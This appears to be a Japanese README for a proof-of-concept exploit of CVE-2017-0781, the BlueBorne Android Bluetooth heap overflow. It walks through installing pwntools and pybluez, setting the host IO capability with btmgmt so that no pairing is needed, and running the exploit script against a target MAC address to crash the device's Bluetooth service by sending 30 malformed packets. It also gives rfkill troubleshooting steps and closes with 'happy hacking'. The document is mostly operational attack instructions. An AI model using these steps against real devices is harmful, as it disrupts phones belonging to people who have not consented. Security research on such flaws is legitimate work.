
BlueBorne CVE-2017-0781 Androidヒープオーバーフローの脆弱性
これは、Armis が公開した Blueborne ホワイトペーパーで説明されている CVE-2017-0781 Android ヒープオーバーフロー脆弱性の実装です。詳細: https://www.armis.com/blueborne/
現時点では、このコードはオーバーフローと Bluetooth サービスをクラッシュさせる能力を示すだけです。繰り返しますが、これは完全に開発されたリモートコード実行ではありません。ただし、そうなる可能性はあります。
pwntools を入手します。
apt-get update
apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
pip install --upgrade pip
pip install --upgrade pwntools
pybluez を入手します。
apt-get install bluetooth libbluetooth-dev
pip install pybluez==0.22
この作業には hciconfig と btmgmt ツールを使用しました。どちらも bluez パッケージに含まれています。Bluetooth モジュールがロックされた場合は、rfkill が役立つかもしれません。
btmgmt を実行します。
info コマンドは、デバイスのインデックスを表示します。
select 0 と入力すると、最初の Bluetooth コントローラーがアクティブになります。btmgmt --index 0 でツールを起動すると、この操作をショートカットできます。
find コマンドでデバイスを検出できることを確認してください。Android の画面がオンで、Bluetooth 設定画面が開いている必要があります。ただし、Armis が公開したホワイトペーパーで詳述されているとおり、発見可能性はこの脆弱性を悪用するための前提条件ではありません。
手動ペアリングなしでエクスプロイトを機能させるには、btmgmt ツールで io-cap 0x03 を使用してホストの IO ケーパビリティを設定する必要があります。
この設定を行ったら、python CVE-2017-0781.py TARGET=XX:XX:XX:XX:XX:XX でコードを実行すると、Android デバイスの Bluetooth サービスがクラッシュするはずです。数回試行が必要な場合があります。現在のコードは、プロセスをクラッシュさせるのに十分なメモリを破壊するために、この無効なパケットを 30 個送信します。
楽しんでハッキングしてください ;)
hciconfig コマンドで、Bluetooth デバイスがホスト上に表示されていることを確認してください。
user-pc user # hciconfig
hci0: Type: BR/EDR Bus: USB
BD Address: XX:XX:XX:XX:XX:XX ACL MTU: 310:10 SCO MTU: 64:8
DOWN
RX bytes:580 acl:0 sco:0 events:31 errors:0
TX bytes:368 acl:0 sco:0 commands:30 errors:0
ここに示すように UP ではなく DOWN になっている場合は、hciconfig <intf> up で修正します。
user-pc user # hciconfig hci0 up
Can't init device hci0: Operation not possible due to RF-kill (132)
rf-kill に関するメッセージが表示された場合は、rfkill list コマンドを試してください。
user-pc user # rfkill list
0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
2: asus-wlan: Wireless LAN
Soft blocked: no
Hard blocked: no
3: asus-bluetooth: Bluetooth
Soft blocked: no
Hard blocked: no
4: hci0: Bluetooth
Soft blocked: yes
Hard blocked: no
ブロック解除は rfkill unblock <id> で行えます。
ホストで IO ケーパビリティを設定した後も、デバイスがペアリングコードを要求する場合は、この方法はお使いのデバイスでは現在おそらく利用できません。